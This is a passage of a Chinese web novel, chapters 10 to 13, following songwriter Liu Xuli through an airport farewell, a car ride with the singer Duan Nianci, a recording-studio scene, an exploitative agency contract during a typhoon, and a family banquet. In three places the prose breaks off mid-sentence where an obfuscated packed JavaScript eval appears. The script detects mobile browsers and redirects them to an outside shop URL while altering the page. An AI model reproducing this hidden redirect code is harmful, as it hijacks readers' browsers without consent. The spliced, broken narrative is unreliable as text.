“……”柳序礼终于被逗笑,莞尔应道,“好。” “所以不要伤感了,来,抱一下。”曲悠悠抬起双臂。 柳序礼俯身,女孩们很轻很轻地拥了彼此一下,交换小小别离前最后的温度。 曲悠悠在她肩头靠了下,松开前,提醒似的说: “这个拥抱结束,你就被我哄好了。会开开心心,会勇往直前,会战无不胜。对吗,柳序礼?” 许久许久,柳序礼才鼓起勇气,回应: “对。” 拥抱结束,曲悠悠就当即转身,头也不回地往前走,过了闸机。 后面的人流推着曲悠悠往前走,柳序礼没再看见曲悠悠的脸,不确定友人表情是否如其所说一样洒脱。 直到曲悠悠身影消失在登机通道里,不复得见。 柳序礼仍在原地站了会儿,好似丢了三魂七魄,半晌才知该往回走。 然而鬼使神差,柳序礼嗅到浓郁咖啡香时,才发现自己居然走回了咖啡店门口。 店门口“暂停营业”的小牌子还挂着,不知是店主今日就这么打烊,还是特地为其清场的某人还没走。 本魂不守舍的躯体,被某种蠢蠢欲动的期待填满。 柳序礼因而找回些对身体的控制,于是抬起手。 推开店门,又触发一串门口风铃的叮铃铃。 柳序礼随着清脆铃音踏进门,不意外,见她们方才坐过的那张桌子,段念辞没走,仍坐在原位。 听到风铃响的女人本在看手机发消息,闻声抬眼,看过来。 咖啡屋里阳光恰好,空气中浮着的细小絮子,好像在下烂俗偶像剧里,象征主角心动的花雨。 段念辞就坐在那明媚的阳光里,勾起唇角,于是一瞬光影变化,不知是什么耀眼,晃得柳序礼眼花。 “怎么回来了?”段念辞问。 “……”柳序礼没想过自己会走回这儿,也没预料这人还在,一时不知怎么答。 “丢东西了?”段念辞又问。 “……嗯。”柳序礼顺势应。 “过来。” 柳序礼走过去。 段念辞仍坐着,没起身迎她,她也没坐下,就站在女人边上。 少女低头看人,居高临下,却不显压迫。 女人敛势生威,渊渟岳峙,分明带笑,却隐隐透着点锋芒。 “找到了吗?”段念辞问。 “……”柳序礼一哽,才说,“不找了。算了。” 声线较平时稍有差别,引段念辞凝眸,细细打量柳序礼眉宇间片刻。 毕竟还是少女,再有城府,在某些人眼中,依旧白纸似的,还是藏不住事的年纪。 段念辞看穿她低落,于是捞起桌上车钥匙: “柳序礼,反正碰面,要不要我送你一程?” 10. 期待 停车场在机场大楼东侧,穿过一条长廊就到。走廊两侧是落地玻璃,外面是赤鱲角的天空。 有架飞机正在跑道上加速,抬头,离地,缓缓上升,最后融入香江薄薄的、灰蓝色的天幕里。柳序礼不由驻足,看完了全程。 她其实并不确定它是前往哪里的航班,只是盯着看,回神才发现段念辞停在先她几步的位置,没看天,没看任何,只是在等她。 没有催促,没有怪罪,任由她浪费时间。 柳序礼赶忙追上,说了声抱歉。段念辞没说客套话回应,只看她表情两眼,笑笑,继续往前走。 柳序礼跟在一步之遥的后面,能看到段念辞的肩和背。 腰带修得那人腰线很细,摆臂时,袖口和腰部的衣料会很有律动地被牵扯。 让柳序礼看得职业病犯了,手指垂在裤缝线上,随着那人脚步,一下一下点着,打节拍。 大概也多亏这职业病。 锚住了她的注意,让她一时能忘记离愁别绪。 段念辞今天开的是黑色的劳斯莱斯古斯特,很老钱的一款车。外观极简低调,线条干净优雅,内行才懂它内敛的贵气。 车内有淡淡香薰,玫瑰浆果沉木质调,冷式扩香,散着巴黎左岸的故事感。 “去哪里?”段念辞卡着手机,问。 “都行。” “……嗯?” “啊。” 柳序礼回神,这样说,或许会让人困扰。本来人家只是想载她一程,她连目的地都不确定,听着像是要让人额外安排行程,费心陪伴。 “抱歉。去半山坚道。”柳序礼说。 她今天没心情和柳家的人周旋,想去坚道一家私人录音棚借用设备,调理下心情。 只是不知段念辞是也用过那录音棚,还是知道柳宅在哪,听到地址,倒车时竟说: “不回家啊。” 让柳序礼错愕,不禁猜段念辞只是随口问,还是真对她了解些许。随即她又自责自我意识过剩,曲悠悠不在,那点无处安放的依赖就到处投射。 “嗯,不想回家。”柳序礼还是如实答。 果然,段念辞可能只是随口问,闻言没多说,继续驾车。 车驶出停车场,上快速路前需要调头,段念辞侧头看后视镜。 从副驾驶角度看过去,女人下颌线很清晰,从耳垂到下巴拉一条利落弧线,像五线谱上一条连音线。握在方向盘的手指微蜷,露出漂亮的手筋,也像琴谱的格子。 不愧为歌后。柳序礼想。整个人就生得像一尊完美、精巧,也高难的乐器。 虽为音乐而生,但若不是恰到好处的指法,便无法发出完美无憾的声音。 柳序礼就又记起自己初遇时的肖想—— 真的,想给段念辞,写一首歌。 “……柳序礼?”段念辞又叫一遍,声音里带点笑意。 “啊?”柳序礼回神。 “好强的专注力。”段念辞抿笑,“写歌时也这样吗?” “……” 柳序礼险些要以为自己刚才把心里话当旁白说出口,被对方听见,才被对方揶揄。 “嗯。”她尴尬地应。 段念辞偏头快速扫一眼,见邻座小孩表情还是悻悻的,就又难得多话,问: “在想新歌?” “咳咳咳。”柳序礼无端干咳,“是在想新歌。” 但别往下问。她可不敢说新歌主题,是如何冒犯歌后您那把延展度极佳的好嗓子。 “我刚才是在问,你平时听什么歌。”段念辞重复了一遍柳序礼没听见的问题。 柳序礼又没答,怔怔地望着段念辞,若叫曲悠悠看见,多半又要骂她呆。 她其实真不是呆,反倒因为脑子转太快,想法太多,一时全浮上来,处理不及,所以反应才比别人慢些。 段念辞见状,就腾了下手,敲敲车载音响的位置。 柳序礼才因此确定人家发问的目的,是觉得车内太静,怕她耳朵闲,想给她放歌,所以提前问偏好。 “不一定,我都听。”柳序礼说。 如果是曲悠悠问,她会直接给出个今天想听的风格。但段念辞问,她就答得含糊,想反逼段念辞来挑歌,试探对方的歌单和审美。 段念辞顿了下,笑着说:“都听,是像之前那样?” “嗯?” “随机播放?” “……” 结果被段念辞反将一军,提她们初见时的糗事。不过,那人还记得,居然没有忘。 “那我也随机播放咯。”段念辞说。 “……嗯。” 段念辞点着车载触屏,片刻又状似无意地补充: “如果这次随机到喜欢的歌,你也可以单曲循环。” “…………” 流行歌的前奏缓缓响起,填补车厢内的静谧。 段念辞在等红绿灯的间隙,又望一眼身边的柳序礼,见小孩被她闹得脸红,但面上表情已然鲜活,不再囿于消沉情绪,这才抿上嘴唇,没再开口逗。 在放的是一首老粤语歌,《夜渡香江》,恰好衬赤鱲角阴蓝的海景。 海面几艘货轮好似随缱绻女声慢吞吞推移,往事在歌声与船身斑驳落漆上得到述说。 “我听过这首歌。”柳序礼说。 “嗯?”段念辞应,“你也听过。” 也。所以段念辞也听过。 这歌的唱作人,启蒙过柳序礼对流行歌认知很长一段时间。这位唱作人不太出名,但编曲极讲究。 写歌时喜欢用吉他打底,和弦走向总是出其不意,副歌前才会毫无征兆转个不该转的调,把听众耳朵从舒适区里拽出来。 一般人只觉得好听,柳序礼能听出门道。 只有这首《夜渡香江》算是唱作人一次小小的尝试,没用转调,走的是很安全的老和弦,于是知名度较旧作稍微高些,但依旧没破圈出名。 “觉得如何?”段念辞问。 柳序礼说:“只有这首,不怎么样。” 段念辞挑眉,好像对这回答意外,有点探讨的兴趣。 柳序礼就搜了首该歌手的另一首歌,只听到副歌的位置,没扒谱,现分析: “她擅长转调,比如这首,副歌前那段,从C大调转降A大调。按传统和声学,降A与C关系太远,中间没过渡,硬转。这走向是错的。” 段念辞轻笑,“但听起来是对的。” “是的。乐理的‘错’不代表‘全错’。”柳序礼说,“和谐的错误,违背预期,反倒抓人耳朵。我欣赏她其余所有歌,除了《夜渡香江》这一首,因为太标准,一点‘错’都没有犯。” 车厢里静了一瞬。 只吉他低音在继续流淌。 拨弹弦音如泣如诉,穿过海面,穿过暮色,穿过两人间隔着的中控台,填满了小小距离。 段念辞问:“太标准不好吗?” “不是好不好,是无不无聊。”柳序礼说,“老派和弦,I-V-vi-IV,五十年代就有的东西,走向都在听众预期里,没有惊喜。她太心急,为流行妥协慌不择路。” 段念辞又是一阵沉默。 车窗外隧道光一段段扫过女人的脸,明、暗、明、暗。她的侧脸在交替的光影里时隐时现,或清晰或模糊,像被反复冲洗的胶片。 柳序礼看不清。 于是不由得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终归还是万事毕了。柳序礼想。那就至少道个谢,道个别吧。 一句“谢谢”含在口中,不待说出,柳序礼转头,先见段念辞嘴唇翕动: “再见,柳序礼。” 又是连名带姓,叫得柳序礼心一悸。 车厢里很暗,女人静坐在夕阳余光里,眸色显得很温柔。 无形纵容了柳序礼的鲁莽,她居然反问: “什么时候?” “……”段念辞一怔。 大概没想到有人会正儿八经追问一句寻常的“再见”,是“什么时候”。 片刻,段念辞笑,说: “我猜,不会很久。” 柳序礼心跳加快。 是期待,还是会创造机会?不管哪种可能,都让柳序礼浮想联翩。 她一时没反应,段念辞就问: “你觉得呢?” 把问题丢回给她。 柳序礼诚实道:“我也觉得,不会很久。” 于是段念辞笑意更深,安静看了她会儿,才说: “那我就开始期待了。” “……” 柳序礼推开车门,半山空气涌进来。微湿微凉,带着榕树叶与青苔的气味,和远处极淡的煮饭烟火气。 她踏入人间,却依旧没实感,脚底还是飘的虚的。 车门合上,古斯特引擎发动,缓缓驶出榕树荫凉。 柳序礼盯着那车渐远化成的小点,后知后觉地想: 嗯?那人只负责期待吗? 那么,创造机会,是要让我来吗? 11. 情歌 柳序礼按响门铃,来应门的是老板。 运营半山坚道这家工作室的,是对音乐人姐弟。老板们将民居改造成录音棚,加之对创作稍有见解,久而久之就在这里形成类似俱乐部的生态,不少独立音乐人会来这里办沙龙。 柳序礼是这里的常客,但不参与活动,纯粹只来租借设备,与客人都不熟。 这日姐姐不在,只有弟弟看场。见到她时,蓄小辫的男青年点头一笑,柳序礼平淡地颔首,以示回应。 透过玻璃可见,单间内都有歌手在录唱。今天莫名热门,几间录音棚都被占用。好在休息区是空的,所以只有柳序礼一人在排队。 她随意找个懒人沙发就地坐下,老板特地抽空把她寄存的MacBook和监听耳机递过去,才钻回混音台前。 柳序礼把耳机挂颈上,把电脑放膝上,点开LogicPro,开始做demo。 本来是很沉浸的,休息区就她一人,安静得很。 “呢個key唔啱!” ——直到单间有位歌手录完,出来,大概不满意,扯着大嗓门喊。 一些噪音钻进柳序礼耳中,她拧眉抬眸睨一眼。 对方典型旺角仔,紧衬衣紧牛仔,发型铲青,大金链子,很刻板印象的rapper打扮。 接待他混音的是老板,随着一起出来,见那边柳序礼被打扰,抱歉地赔笑。 旺角仔也看见她,轻佻一抬眉,嗓门反而更大,好像要故意引人注意,用粤语喊: “刚才录的那一轨还是有问题,到底是哪里不对?” 老板耸肩,“编曲咯,那个key你又唱不上去。改改曲子吧,不然再录第四遍还是一样的。” “编曲怎么可能有问题?这可是我写的!”旺角仔故意这么说,往柳序礼那边瞥一眼。 ……就见少女眼也没抬,默默将耳机扣回头顶,堵住了耳朵。 旺角仔:“……” 老板提醒,“要不等那边的靓女有空,你去请教她。” 旺角仔:“……唓。” 他方才提声,确实出于吸引美女的本能,那黑长直少女的颜值很难让人不心动。 他混迹街头多年,习惯这种伎俩,看到美女路过,就同伙伴一起吹哨起哄,发各种不入流的声响,引美女回头嗔怒,他们就嘻嘻哈哈,反而爽到。 但这不意味着他们多看重女人,他所在的团体很容易形成某种朴素到堪称鄙陋的共识,类似“兄弟如手足,女人如衣服”。 美女得手未必会满足他们对爱情的需求,但必然会满足他们的虚荣,能让他们在“兄弟”面前更能抬得起头,得以在同性间获得更高认同。 所以旺角仔白眼一翻,继续道:“请教个女的?她们除了写那些个烂俗的情情爱爱,还会写什么?” 老板:“……” “别叫她了,她看不懂我写的歌。” 老板:“…………” 丝毫不提人家是否愿意被他请教,好像他才是上位者。 以嚣张掩饰他方才在同性的老板面前,已经被美女完全忽视过一次的尴尬。 几句话落地,连老板都有些不适,那边少女也才在无声的间隙,摘下了耳机。 旺角仔见状,作势手抄兜,正有和少女斗嘴的兴致。他可不怕输,吵架不拼逻辑拼气势,MK和rapper最不缺就是气势。 ……又见那边少女掏出了手机,依旧眼没往这边转一下,只是接通了来电。 旺角仔:“……” 【囡囡。】 来电的是柳宣蝶。 听见母亲声音中的哭腔和急切,柳序礼很深地吸了口气,调好状态,才应: “嗯。” 于是,话匣打开,柳宣蝶又将女儿当作情绪垃圾桶,滔滔不绝地倾倒着苦水。 【管家看人下菜碟,月钱又晚发,好料子好家具从来轮不到我。若是没有你大妈点头授意,谁敢这么放肆?】 又是吐槽正妻和管家的家长里短。 柳序礼听着,手指继续落在键盘上,却敲了又删,删了又敲。灵感的溪泉被苦水堵塞了,她无法流动。 “你差多少钱?”她叹口气,问,“我转你。” 【我当然知道囡囡有出息……】柳宣蝶哭哭啼啼片刻,才说,【我只是委屈,但又不想闹大,不想让我女儿为难。】 “……嗯。” 于是为柳宣蝶的怯弱买单,背负道德枷锁的,又成了柳序礼。 柳序礼对此趋于麻木,或许天赋奇才,便注定早慧,她很小就表现得比同龄人聪明。 柳宣蝶作为母亲,自然也发觉。于是她认定这是上天的馈赠。 奈何,是短视的那种认定。 柳宣蝶没因柳序礼早慧,而竭力培养女儿。她只是为意识到女儿能理解并承接自己的情绪,感到捡了便宜。 虽为人母,柳宣蝶却更似长不大的女孩,于是幼时被静远堂家训剥夺的童年,就要代偿般从女儿这里获得。 柳序礼自幼就接受柳宣蝶的哭诉和宣泄,好像身份倒错,身为儿童的她才是眼前成熟女人的母亲。 是故,柳序礼没感受过父爱,也没怎么感受过母爱。 柳序礼从始至终,孤立无援。 她稍有自觉起,就会主动提出跳级。小学跳三年,中学跳一年,只为快点上大学。 她早看好了国外的大学,她期待着快点,再快点,想离这个总会让她灵水停滞的环境远一点,再远一点。 【囡囡,你有冇听我讲?】 “有。”柳序礼说。 【可是你都冇反应。】 “我听到。” 柳宣蝶后面又讲了什么,柳序礼已经记不得了。她只记得通话结束后,她垂着头,木然了很久,才缓回神。 少女面色苍白如纸的模样,落在旁边一直往这边瞥视的旺角仔眼中。 他不住偷看她,只觉女孩气质复杂,既有富人的矜傲,又有穷人的匮乏。琐事让她眉眼沉郁得发暗,但她背脊挺直,依旧不落半分姿态。 这种矛盾,让少女犹显破碎。 很激人保护怜爱欲,让旺角仔想起那种烂俗老港片里,落魄大小姐与古惑仔先是格格不入死对头,后来深爱得到救赎的故事。 就在此时,那落魄大小姐抬起眼,恰到好处往这边看。 旺角仔好像与她对视上,怦然心动,英雄气概蠢蠢欲动,叫嚣着要拯救她。 落魄大小姐起身,朝这边走来。旺角仔鼓起勇气,往前迈一步。 然后就眼睁睁见大小姐目不斜视,头也不回与他擦肩而过。 旺角仔:“……” 他猛然回头,就见原来是他出来,就有录音棚空出来,人家准备进单间了。 多半也要老板监听混音,少女停在老板边上,恰好看到笔电屏上的曲谱,于是顺手指点: “这段删掉。这段也删掉。这些都删掉。” 信手点了好几段,原地的旺角仔一看,真这么删完岂不是只剩破破烂烂,急得忙要过去维护。 就见少女停了手,说:“删完之后,剩下的拼起来。” “你……”旺角仔指着少女后脑勺。 少女径直走进录音棚,关了玻璃门,没再搭理人,堪称自负。 旺角仔骂了句脏话,低头看老板,却见老板礼貌微笑,善意提醒: “试试听她建议?不好就回退原稿。反正不吃亏。” 旺角仔不听女人劝,但男人说的他会听。老板本就是他认可的人,想想还是同意。 于是一首曲子被删得支离破碎。 然而反直觉的是,剩下的曲段整合在一处后,软件试播放的效果竟出人意料的抓耳。 老板听完效果,预期之内地“芜湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554388|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”感叹一声,那边旺角仔则瞠目结舌,似在重建世界观。 旺角仔:“碎成垃圾了还能这么好听?” 老板:“所以碎成垃圾都比你原版好听。” 旺角仔:“…………” 虽说是在他谱子上改的,但删节太多,导致拼合的曲段堪堪只够撑起前奏的篇幅。而且删节太碎,编曲逻辑与他大相径庭,基本等于少女即兴原创。 说白了,以旺角仔现有的能力,没法在保证现有质量的前提下,进行续写。 而听过这高质量的前奏,旺角仔也根本没法当它不存在,就像手持完璧却四面楚歌的农夫,只能进退维谷。 “我这不是废了吗?怎么办?”旺角仔求教老板,“那靓女什么来头?我现在求她帮忙来得及吗?” 老板了然眨眼,“多半来不及了。” “我花钱呢?花钱行吗?” 老板笑笑,“没少有过富二代斥巨资要拍卖她demo的情况。一次都没拍卖成功,因为她连废稿都不卖。” 旺角仔头皮发麻,只觉怅然若失,抬眼望向录音棚的玻璃内,见少女正坐在高脚凳上,MacBook也带进去,似乎灵感又来,抓紧时间在写最后的demo。 手指飞舞速度极快,可见其灵感流速。少女漆黑的眼眸不再似最初沉郁凝滞,而是宛若决堤般的专注,好似音乐便是她苦闷人生的唯一出口。 与方才木讷内敛的模样判若两人。 所以,从来并非落魄大小姐。 本就是即将征伐的国王。 少女抬眼,同外面监听混音的老板确认时,老板也已准备就绪,抬手比了个OK。 控制台屏幕上,用合成器临时新建的工程文件,开始播放—— 先是打击乐,木鱼的音质,让人一下坠入神秘莫测气场。旋即是少女声音的加入,却非唱歌,而是介于吟唱和念诵之间的呢喃。 化声音为乐器,在念诵一段无人听得懂的经文,却也因这种“不可知”,加深语言的神秘气质。旺角仔听不出来,只知厉害,老板却能依稀感觉,这段大抵是少女原创的语言,隐隐符合某种韵律—— 更能引导听者的情绪,不断入胜,不断沉迷。 接着便是主旋律,和弦的走向总让人意外,但非要说起最意外的,则是听到唢呐、中式大鼓,甚至恐怖片背景音常用的水琴时。 木鱼、唢呐、大鼓、水琴,这些要素,在中式恐怖的曲子里,颇为常见。 可让旺角仔匪夷所思,全曲的氛围,竟并不是让他起鸡皮疙瘩的恐惧,而是被宫商角徵羽的大和弦逐层堆砌、高音与和声逐层轰炸的爽快。 大气磅礴,宿命深邃。死生之畏惧,轮回之凄美。 在旺角仔被震撼得头皮发麻,堪堪能总结出这些感受时,乐声戛然而止。 由于只是demo,并非成品,曲段也不够长,因为创作人没写完。 这歌会是什么主题?旺角仔百思不得其解。 中式恐怖要素在其中似乎只是起到反转作用,主题是家国?命运?生死?……好像都不准确。 旺角仔猜不透,于是在柳序礼出来时,谄媚地过去讨教: “大佬,请问您这demo是什么主题啊?” 柳序礼莫名看旺角仔一眼,好似不知这人为何在这儿,又为何和自己搭话。这人的存在等同于几声噪音,此外没往柳序礼心里去。 她抬眼,见那边老板似乎也好奇,于是就想了想。 柳序礼创作时,确实有灵感来源作为参考。 她写歌时,眼前浮现的是一个红裙女人。 有着秾丽的浓颜,丰腴的曲线。 女人笑眼盈盈,牵引她视线,带她走过奈何桥。 死生的两边,开满彼岸花。 回忆至此,柳序礼轻提嘴角,笑答: “可能是情情爱爱吧。” 12. 台风 与段念辞有关的那首歌,只做了一段就搁置,没来得及写完。 一是柳序礼缺灵感,后续怎么写她都不满意,姑且先放放。二来出道在即,近期她重心全在这件事上。 天文台最近发出预警,台风“青马”携南海热带气旋,正在逼近港岛。 地铁地面段和高架段已经停运,巴士陆续停驶,航空和天星小轮早就停航。整个香江的交通像被拧紧的毛巾,越来越紧,越来越慢,最后只剩地下几条隧道还在勉强运转。 然而就算如此,乐皇公司也没取消柳序礼参加一个所谓“艺人综合素养提升”的课程。 柳序礼事先质疑过,出道在即,人力物力难道不该集中于宣发,为什么浪费在这种无关紧要的课程上。 经纪人的回应是,宣发早有安排,就在出道日。 柳序礼虽是刚入行新人,却有基本逻辑,新人出道日应当是宣发的至高点,而非起点。 但公司态度坚决,柳序礼毕竟不懂运营,想来可能是什么她没料到的考量,还是配合。 这便也是她最后一次配合。 先前出于对“曲悠悠人脉”的信任,在柳序礼顶着台风天,赴这趟鸡肋课程的约,却得到讲师爽约的结果时,消耗殆尽。 大厦会议室里,与柳序礼同来赴约的青年男女皆在埋怨: “课都没上,结果这趟差旅费还得我自己出!” “我们这群人纯粹就是被割韭菜了吧!” 柳序礼静了下,片刻问其中一人,“差旅费是自己出?” 那人正愤怒,语气不畅地回话: “翻翻你合同不就知道了?你,我,她,他,他们……这里在场的所有人,签的都是同一批合同!说白了,我们在签约的那一刻就已经被放弃了,我们的演艺生涯还没开始,就已经完了!!” “……” “所有培训费都要我们出,钱没挣一分,还得贷款上班!我们这群被放弃的人只能被雪藏到死!要命的是,一旦我们提出解约,巨额赔偿金就等着呢!我们早就完了,早就完啦!!” 这人的诅咒本该引起些公愤,意外的是,现场噤若寒蝉。众人皆灰头土脸,像是认清现实,个别心理承受弱的,甚至捂着脸蹲下,泣不成声。 柳序礼错愕一瞬,很快冷静,没随众人一同崩溃,先掏出手机确认。 电子合同补充条款的小字上,赫然有着这么几段,并不连贯,被大段套话模糊了重点,不是常与条款文字打交道的人,很难“看”得见: 【……甲方为乙方投入的培训、造型、制作、推广、包装等费用,均为甲方先行垫付。…… 【……乙方经甲方安排参与任何试镜、面试、项目,无论是否最终入选,所产生的前期成本均计入艺人培养费用。…… 【……若乙方因任何原因解约,需全额返还甲方已垫付费用,并+50%违约金。……】 柳序礼或多或少听说过,野鸡经纪公司不靠经营明星,只签约涉世未深的新人,纯靠收割赔偿金盈利。只是她没想到,顶级如乐皇,竟也有这样的部门,还将她也评级为这样的新人。 她的原生家庭养成她多疑性格,所以哪怕是曲悠悠力荐的经纪人,她在签约当日依旧聘请了第三方律师,以帮忙规避合同中的陷阱。 岂料如今,还是中套。 柳序礼将这几段文字截图,逐条发给律师,质问当时为何不提醒这几段中的风险。 律师许久才回: 【合同并非霸王条款,都是行业通用。 【甲方合法合规。】 柳序礼看着这几行字,冷静得出奇,她能清晰看出律师的立场,并非向着她这位委托人,甚至是帮着公司在给她下套。 柳序礼将一系列聊天记录全转发给曲悠悠,而后望着会议室的窗外。 台风携来的雨越来越大,玻璃上的水幕厚到遮蔽视线,只能见灰白色的天光隐隐约约。 柳序礼却在这磨砂的视野里,清楚地看明白了这世界。 曲悠悠半晌才有反应,多半是先确认去了,回话是以一通来电。 柳序礼接通,她第一次听到曲悠悠这么急,说话带哭腔: 【何文秀和我两小无猜,一起长大……她是我最信任的姐姐…… 【她说她本来想好好带你的,但她偷税漏税、私下收佣的旧尾巴被那个人捏住了…… 【她不告诉我那人是谁,但我猜…… 【对不起柳絮!我已经和她绝交了! 【我会替你赔钱!所有钱我来付!】 听到曲悠悠这段话,柳序礼反倒笑了。 不是自嘲,而是侥幸。 她在满目疮痍的废墟之上,居然劫后余生般庆幸,还好曲悠悠站在她这边,还好曲悠悠没有联合别人一起陷害她。 台风更密,将雨水摔在玻璃上。玻璃在发抖,窗框在发抖,柳序礼站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554389|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在风雨前,感觉好像整栋楼都在发抖,整个世界都在发抖。 还好,还好,她剩个曲悠悠。 遑论责备曲悠悠办事不力,她此时还能抓着个浮萍,都够她在这摇摇欲坠的世界里苟活下去。 “悠悠,没关系。你别自责。”柳序礼平静地说。 【柳絮,我不缺钱,所以钱是你最次要考虑的问题!我们先解约,我们先恢复自由身!】 “不急。交给我吧。”柳序礼只这么应完,挂了通话。 自由身? 柳序礼垂眸望向街道,其上有辆红色的士顶风慢腾腾地挪,车顶灯在暴雨里一明一灭,像溺水的人伸出一只手,又沉入深水里。 威胁曲悠悠那青梅姐姐的匿名人…… 不动声色渗透她随机签约的第三方律师…… 柳序礼心知肚明,她早已深陷泥潭,若不处理“那个人”,自己无论去到哪里,都不会自由。 柳序礼最后发消息给律师: “柳守拙。” 她只发过去这个名字,不问“是他指使的吗”,或“是他威胁的吗”。这样的发问太直白,警惕如律师,不可能通过文字,留下这么浅显的把柄。 果然,大抵是这份“体谅”,换来了律师的“良心”或同情,对方回复: 【对不起。】 * “青马”来势汹汹,去时阴雨绵绵。 台风过境后,满城湿冷,道旁树被吹得只剩断枝残叶,黏在泥淖的路面。 这几日柳序礼都没回家,暂住在酒店。 接到柳宣蝶来电时,她刚退房,背着简单行囊走进绵绵细雨里,素净衬衣被风掠得贴身,却因瘦挺身姿,不显狼狈。 【囡囡,你什么时候回来?你爸爸今天办家宴,既为接风洗尘,也为你明天的出道日。】 “嗯。”柳序礼应。 【这可不是我加戏,是他亲口说的。他记得你明天出道……原来,他一直记得……】 柳宣蝶眷恋的语气,天真得残忍,让柳序礼只觉刺耳。 她的母亲,多么懵懂无知,居然因此认为柳守拙还心系她们这对母女,就要原谅他缺席十九年的罪过。 但柳序礼什么也没说,只是冷静应: “我在路上。” 没余地退让了,柳守拙已经正式宣战。 这鸿门宴她非赴不可。 毕竟有数不清的债等着被清算。 13. 家宴 香江秋天入夜比夏日时干脆,六点半不到,天就黑透了。 柳序礼到柳宅时,恰好宅中成员正依次落座。 长桌主位上坐着柳守拙,着中式对襟衫,头发花白大半,但梳得整齐,往后拢着,露出额头和不怒自威的眉眼。 大房少爷柳家骏坐他手侧,正妻柳太坐另一侧,正和柳守拙说话。柳太音量不高,但足够传遍长桌,被所有人听到,恰到好处,让听者自知只是被“顺带告知”,而非“特地通知”。 柳太身侧空出一座,柳序礼进门后,柳太最先看到她,笑着招手,“小九,坐这里。” 柳序礼视线扫过全桌,比她年长的几个哥哥姐姐都坐在长桌靠后的位置,母亲柳宣蝶更是只能坐下首。而她行九,又是庶出,只因柳太一句话,就能坐在高位,地位甚至比母亲还高。 柳序礼依言照做,落了座。 女佣无声靠近,为她斟茶。普洱,陈了十二年的,茶汤是深琥珀色,在白瓷杯里微晃。 “小九,听说你最近签了经纪公司?” 柳太侧过身来,一只手搭在柳序礼椅背上。力量很轻,但存在感很强,在柳序礼看来,不是亲昵,而是圈定,像以此举捏住她后颈。 “嗯。”柳序礼低头。 “好本事!”柳太笑着夸。 声音是柔的,却衬厅中灯光更冷,茶烟淡淡,全屋静悄悄。 佣人上茶、布菜,全程无声无息,连头都不敢抬,唯独主位的柳守拙自在品茗,以及柳太悠哉地随意搭话。 “你大哥小时候也闹着要当大明星,结果差点被你爹地打得扑街。也就你,闷声做大事,直接签了约,真系青出于蓝。” 听到这话,那边柳家骏作势要说什么,表情不爽,大概要抗议,然而柳守拙恰好把茶杯放下,在桌面磕出轻响。 柳家骏瞥一眼父亲脸色,当即悻悻闭嘴,不敢吱声。 柳守拙面无表情,片刻才启唇,道: “是有本事。” 四个字,既轻又重,敲得柳序礼呼吸一滞。 看似夸奖,实则质问,连长子都不被允许做明星,明示父亲态度,柳序礼你个女儿家,怎敢不经允许,擅自做主。 “那还用说?”柳太依旧笑,“我记得,小九自小就有音乐天赋。好像还因这个,无意得罪过她哥,两小孩还闹过矛盾呢……” 说完轻笑,餐桌上其余姨太和少爷小姐便也配合着笑,只有柳序礼笑不出来,脸色沉沉。 柳太转过来又问:“对了,最近还是在练钢琴?” 柳序礼冷声答:“不练了。” 也没说自己练的是什么。柳太若真在乎,不至于她如今都毕业了才过问。 结果下首的柳宣蝶见女儿沉默,没在丈夫面前表现,反倒急了,忙开口: “小九就钟意弹琴。虽说钢琴是不弹了,但现在练吉他,还有些别的乐器,都弹得很好。” 柳序礼皱眉,试图打断,“母亲……” 然而她的阻止,不及柳守拙轻飘飘移目,来得分量大。 柳守拙看向柳宣蝶,似乎对这六姨太所说感兴趣。而柳宣蝶一生被忽视,破天荒被丈夫注视这么一眼,如蒙大恩,眼前一亮,语速更快: “她中四时才开始弹吉他,但一摸琴,老师就说她手型好,天资过人,生来就食这碗饭的!” “母亲,别说了。”柳序礼提声。 柳宣蝶却表现欲大涨,大概以为孩子聪慧会让父亲骄傲,让丈夫对她这位监护人另眼相看,却对柳守拙眸光实际的流转毫无察觉: “小九就是天才来的!小学中学跳了好几级,中四起吉他和文化课并行,却两边都没耽误!伯克利是她自己凭本事考上的,我作为妈妈,都没来得及为她打点什么呢!” 可她说完,却没人接话。柳太嘴角保持上扬,目光从柳宣蝶面上滑过去,落在桌面一小碟琥珀核桃上,伸出筷子,给柳守拙夹了一粒。 柳宣蝶笑容一僵,随即低头,故作忙碌,手指在餐巾纸边捻了又捻,直至将它一角捻出卷边。 气氛一时尴尬,柳守拙在这时开口: “小九,这几年病情很稳定?” 一句话让柳宣蝶面上血色流逝,如遭雷击,这才意识到女儿刚才三番两次试图制止是为了什么,忙磕磕巴巴应: “对,对。控制,控制得很好。没影响学习。” 柳守拙夹起那琥珀核桃,送入口中,咀嚼的脆响似嚼人骨头: “看来近年医学发达,如今治精神病的药,居然不会影响孩子大脑。” “她有好好吃药,我盯着的……”柳宣蝶战栗着,苍白地补充,“她其实也被药影响了些,记性变得不好,背东西很慢,老师反馈好几次。好在她勤奋,废寝忘食克服……” 又是无人搭理,无人接话。 